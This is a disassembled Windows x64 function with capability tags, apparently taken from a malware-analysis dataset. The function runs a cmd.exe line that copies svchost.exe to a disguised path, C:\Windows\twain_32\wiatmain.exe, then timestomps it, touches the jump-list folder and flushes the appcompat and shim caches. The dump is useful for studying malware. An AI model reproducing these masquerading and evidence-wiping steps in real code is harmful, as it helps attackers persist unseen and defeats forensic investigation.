Function at 0x140004510
Capabilities:
Create process on windows
Get common file path
Timestomp file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x140094040]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x37], xmm1
mov r8d, 0x70
lea rdx, str.cmd__c_ping_1.1.1.1__n_1__w_3000___Nul__type_C:Windows_system32_svchost.exe___C:Windows_twain_32wiatmain.exe
lea rcx, [rbp + 0x27]
call fcn.140002700
nop
lea r9, [rbp + 0x27]
cmp qword [rbp + 0x3f], 0xf
cmova r9, qword [rbp + 0x27]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rbp + 0xf], 0x707e8
mov esi, 7
mov dword [rbp + 0x15], 0x13000a
mov dword [rbp + 0x19], 0x36
mov word [rbp + 0x1d], di
lea rdx, [rbp + 0x1f]
lea rcx, [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x140004610
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, esi
mov edx, pe_nt_image_headers64
lea rcx, str.C:Windows_twain_32wiatmain.exe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140004610
lea r9, [rbp + 0x1f]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp - 0x19]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140047980]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x14000474f
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x29], xmm1
mov rdx, qword [rbp - 0x19]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140004650
lea rcx, [rbp - 0x39]
call fcn.14000ce40
nop
mov r8d, 0x2c
lea rdx, str.MicrosoftWindowsRecentCustomDestinations
lea rcx, [rbp - 0x39]
call fcn.14000b0e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x11], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 1], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov word [rax], di
mov rdx, qword [rbp - 0x21]
cmp rdx, 7
jbe 0x1400046e7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400046e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140044800
movdqa xmm0, xmmword [0x14008adb0]
movdqu xmmword [rbp - 0x29], xmm0
mov word [rbp - 0x39], di
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rcx, [rbp - 0x11]
call fcn.140004020
nop
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x14000474f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000474a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000474a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140044800
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
mov r8d, 0x24
lea rdx, str.kernel32.dll_BaseFlushAppcompatCache
lea rcx, [rbp - 0x11]
call fcn.14000ce40
nop
lea rcx, [rbp - 0x11]
call fcn.140004330
nop
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x1400047bb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004822
call fcn.140044800
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
mov r8d, 0x1a
lea rdx, str.apphelp.dll_ShimFlushCache
lea rcx, [rbp - 0x11]
call fcn.14000ce40
nop
lea rcx, [rbp - 0x11]
call fcn.140004330
nop
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x14000482f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004829
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004829
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140044800
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x14000486d
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004868
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004868
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140044800
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400447e0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret